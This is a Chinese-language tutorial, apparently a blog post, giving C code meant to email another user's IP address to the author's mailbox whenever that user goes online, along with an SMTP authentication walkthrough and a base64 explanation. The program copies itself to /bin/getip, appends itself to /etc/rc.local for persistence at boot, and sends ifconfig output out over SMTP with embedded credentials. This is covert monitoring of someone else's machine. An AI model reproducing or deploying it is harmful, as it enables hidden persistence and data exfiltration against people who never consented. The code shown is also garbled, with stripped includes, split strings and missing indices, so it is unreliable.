Linux系统下发送Email的C语言代码

　现在很多用户都是自动获取ip，而不是固定不变的，现在作个简单的程序，在他每次上网后，把他的ip自动发给我指定的email。实现很简单(当然，前提是你有相应的权限,:D)，通过调用system()，把程序路径放到/etc/rc.local里，以便每次启动调用。利用ifconfig获取ip，并写到一个临时文件，然后读文件内容到缓冲区，作为email正文发送到指定的email。以163.com的smtp服务器为例，现在的smtp服务器都加入了验证功能(不同服务器验证的方式是不同的，sina的验证就不同，具体的验证方式没有研究)，通讯的过程是这样的:

[root@localhost root]# telnet smtp.163.com 25
Trying 202.108.44.170...
Connected to smtp.163.com.
Escape character is '^]'.
220 Coremail SMTP(Anti Spam) System (163com[20030606])
ehlo smtp.163.com
250-192.168.1.170
250-PIPELINING
250-AUTH LOGIN PLAIN NTLM
250-AUTH=LOGIN PLAIN NTLM
250 8BITMIME
auth login
334 VXNlcm5hbWU6
xxxxxx(base64编码过的用户名)
334 UGFzc3dvcmQ6
xxxxx(base64编码过的密码)
235 Authentication successful
mail from:gyfxlt8.go@163.com
250 Ok
rcpt to:gymiles@sohu.com
250 Ok
data
354 End data with .
test
.
250 Ok: queued as IMA5dQQvoEEGyE4C.1
quit
221 Bye
Connection closed by foreign host.

　　smtp server返回值表

500 邮箱地址错误
501 参数格式错误
502 命令不可实现
503 服务器需要SMTP验证
504 命令参数不可实现
421 服务未就绪，关闭传输信道
450 要求的邮件操作未完成，邮箱不可用（例如，邮箱忙）
550 要求的邮件操作未完成，邮箱不可用（例如，邮箱未找到，或不可访问）
451 放弃要求的操作；处理过程中出错
551 用户非本地，请尝试
452 系统存储不足，要求的操作未执行
552 过量的存储分配，要求的操作未执行
553 邮箱名不可用，要求的操作未执行（例如邮箱格式错误）
432 需要一个密码转换
534 认证机制过于简单
538 当前请求的认证机制需要加密
454 临时认证失败
530 需要认证
220 服务就绪
250 要求的邮件操作完成
251 用户非本地，将转发向
354 开始邮件输入，以.结束
221 服务关闭传输信道
334 服务器响应验证Base64字符串
235 验证成功
过程很明显了，再简单说说base64编码方式:可以将字符串3个3个的分开(不足的编码后以'='补)，我们知道每个字符8位，这样，3个字符就是24位，base64编码将这3个字符(24位)，6位6位的分开，分成4个字符，再将这4个字符的ascii码值与下面的表比较，取出相应的字符，就是编码后的最终字符。例如:abc这3个字符，编码前是这样的:

0110 0001 0110 0010 01100011

　　现在6位6位的重组:

011000 010110 001001 100011

　　得到的字符为:

00011000 00010110 00001001 00100011

　　ascii码值分别为:24 22 9 35。对照下面表，得出编码后的字符:YWJj。从程序的思路来看就是:

1。a>>2
2.(a&0x03)<<4 | (b>>4)
3.(b&0x0f)<<4 | (c>>6)
4.c&0x3f

　　然后将得到的值对照下表就可得出编码后的字符，具体实现见代码。Base64编码转换表（摘自RFC2045）

Table 1: The Base64 Alphabet
value Encoding value Encoding value Encoding value Encoding
0 A 17 R 34 i 51 z
1 B 18 S 35 j 52 0
2 C 19 T 36 k 53 1
3 D 20 U 37 l 54 2
4 E 21 V 38 m 55 3
5 F 22 W 39 n 56 4
6 G 23 X 40 o 57 5
7 H 24 Y 41 p 58 6
8 I 25 Z 42 q 59 7
9 J 26 a 43 r 60 8
10 K 27 b 44 s 61 9
11 L 28 c 45 t 62 +
12 M 29 d 46 u 63 /
13 N 30 e 47 v
14 O 31 f 48 w (pad) =
15 P 32 g 49 x
16 Q 33 h 50 y

　　本代码在thizlinux7.0下测试通过

code by sink (gymiles@sohu.com)
#include //include socket
#include
#include //include fopen(),fread().fwrite(),fclose()
#include //include system()
#include //include gethostbyname()
#define PORT 25 //smtp port
#define SIZE 1024
//define mail commands
#define EHLO 0
#define AUTH 1
#define USER 2
#define PASS 3
#define MAIL 4
#define RCPT 5
#define DATA 6
#define CONT 7
#define QUIT 8
void base64enc(const char *,char *);
int main(int argc,char *argv[])
{
int sockfd;
struct sockaddr_in server_addr;
struct hostent *server_ip;
int numbytes=0,i=0;
char username[512]="";//mail username
char passwd[512]="";//mail passwd
//buff store data by recv(),
//ip[SIZE] store data by fread() from ip_files
(use "ifconfig >tmp.ip",het ip_files)
char buff[512]="",tmp[4]="",ip[SIZE]="";
int ret=0;//function return
FILE *f_open,*f_write;
char *msg[9]={""};
char *n_return[9]={""}; //return number
msg[EHLO]="ehlo smtp.163.com
";
msg[AUTH]="auth login
";
base64enc("your name",username);
strcat(username,"
");
msg[USER]=username;
base64enc("your passwd",passwd);
strcat(passwd,"
");
msg[PASS]=passwd;
msg[MAIL]="mail from:xxxxx@163.com
";
msg[RCPT]="rcpt to:xxxxx@sohu.com
";
msg[DATA]="data
";
msg[QUIT]="quit
";
n_return[EHLO]="250";
n_return[AUTH]="334";
n_return[USER]="334";
n_return[PASS]="235";
n_return[MAIL]="250";
n_return[RCPT]="250";
n_return[DATA]="354";
n_return[CONT]="250";
copy self to /bin/getip
if(strcmp(argv[0],"/bin/getip")!=0)// if file /bin/getip
is not existed,copy to it
{
if((f_open=fopen(argv[0],"rb")) ==NULL)//open self
{
perror("fopen argv[0] error");
return(-1);
}
if((f_write=fopen("/bin/getip","wb")) ==NULL)//open the
file which we will write to
{
perror("fopen /bin/getip error");
return(-1);
}
while(fread(tmp,sizeof(tmp),1,f_open)!=0)//read from currect file
{
if(fwrite(tmp,sizeof(tmp),1,f_write) ==0)//write to /bin/getip
{
perror("fwrite error");
return(-1);
}
}
fclose(f_open);//close all files we have opened
fclose(f_write);
//chmod 755 /bin/getip
if((ret=system("chmod 755 /bin/getip"))==-1)
{
perror("system error");
return(-1);
}
//call system("echo /bin/getip >>/etc/rc.local")
if((ret=system("echo '/bin/getip &' >>/etc/rc.local"))==-1)
{
perror("system error");
return(-1);
}
}
/*---------------------------
get ip,use system() call ifconfig>tmp.ip
---------------------------*/
if((ret=system("ifconfig >/tmp/tmp.ip"))==-1)
{
perror("system error");
return(-1);
}
/*-----------------------------
read from tmp.ip,add it to msg[CONT]
-----------------------------*/
if((f_open=fopen("/tmp/tmp.ip","r")) ==NULL)//open /tmp/tmp.ip
{
perror("fopen error");
return(-1);
}
i=0;
while((fread(&ip,1,1,f_open)) !=-1)//read from tmp.ip
{
i++;
if(i>SIZE)//if file is large than SIZE,only read SIZE bytes
break;
}
strncat(ip,"
.
",3);//cat "
.
" to data
msg[CONT]=ip;
fclose(f_open);
/*-----------------------------
rm tmp file
------------------------------*/
if((ret=system("rm -rf /tmp/tmp.ip"))==-1)
{
perror("system error");
return(-1);
}
/*------------------------------
connect server,and send command
------------------------------*/
//because the host connect to internet by dail,
//so,it is possiabe that host have not connected when it start
//then we sleep 5 miniutes,and try again until the host connect to internet
//we know the connection status by gethostbyname(),but this way is not always correct
while((server_ip=gethostbyname("smtp.163.com"))==NULL)
{
herror("gethostbyname error");
sleep(300);
}
//create a socket
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{
perror("socket error");
return(-1);
}
//address information
server_addr.sin_family=AF_INET;//host byte order
server_addr.sin_port=htons(PORT);//short,network byte order
server_addr.sin_addr=*((struct in_addr *)server_ip->h_addr);//server ip
bzero(&(server_addr.sin_zero),8);//zero the rest of struct
//connect server
if(connect(sockfd,(struct sockaddr *)&server_addr,sizeof(struct sockaddr))==-1)
{
perror("connect error");
return(-1);
}
//if connect success,server return "220"
if((numbytes=recv(sockfd,buff,SIZE,0))==-1)
{
perror("recv error");
return(-1);
}
//clean tmp
for(i=0;i<4;i++)
tmp='';
strncpy(tmp,buff,3);
if(strcmp(tmp,"220")!=0)
return (-1);
//send msgs. if any step has a mistake,
the "while" will be breaked,then send "quit" to end connection
i=EHLO;
while(i {
if((numbytes=send(sockfd,msg,strlen(msg),0))==-1)
{
perror("send error");
break;
}
//sleep(1);we dont have to use it,because recv() can
choke itself until it received data
if((numbytes=recv(sockfd,buff,SIZE,0))==-1)
{
perror("recv error");
break;
}
strncpy(tmp,buff,3);
//printf("command:%s
",msg);
//printf("return buff:%s
",buff);
//printf("should return:%s
",n_return);
if(strcmp(tmp,n_return)==0)
i++;
else
break;
}
//send quit to end mail connection
if((numbytes=send(sockfd,msg[QUIT],strlen(msg[QUIT]),0))==-1)
{
perror("send error");
return(-1);
}
close(sockfd);
return (0);
}
/*-------------------------
base64 encode function
-------------------------*/
void base64enc(const char *instr,char *outstr)
{
char * table="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
int instr_len=0,i=0,j=0,pad=0;
unsigned char buf1[4]="",buf2[4]="";
instr_len=strlen(instr);
pad=instr_len%3;
for(i=0;i {
if(i==instr_len-pad)
strncpy(buf1,&instr,pad);
else
strncpy(buf1,&instr,3);
buf2[0] = buf1[0] >> 2;
buf2[1] = (buf1[0] & 0x03) << 4 | buf1[1] >> 4;
buf2[2] = (buf1[1] & 0x0f) << 2 | buf1[2] >> 6;
buf2[3] = buf1[2] & 0x3f;
for(j=0;j<4;j++)
buf2[j]=table[buf2[j]];
if(i==instr_len-pad)
for(j=3;j>pad;j--)
buf2[j]='=';
strncat(outstr,buf2,4);
}
}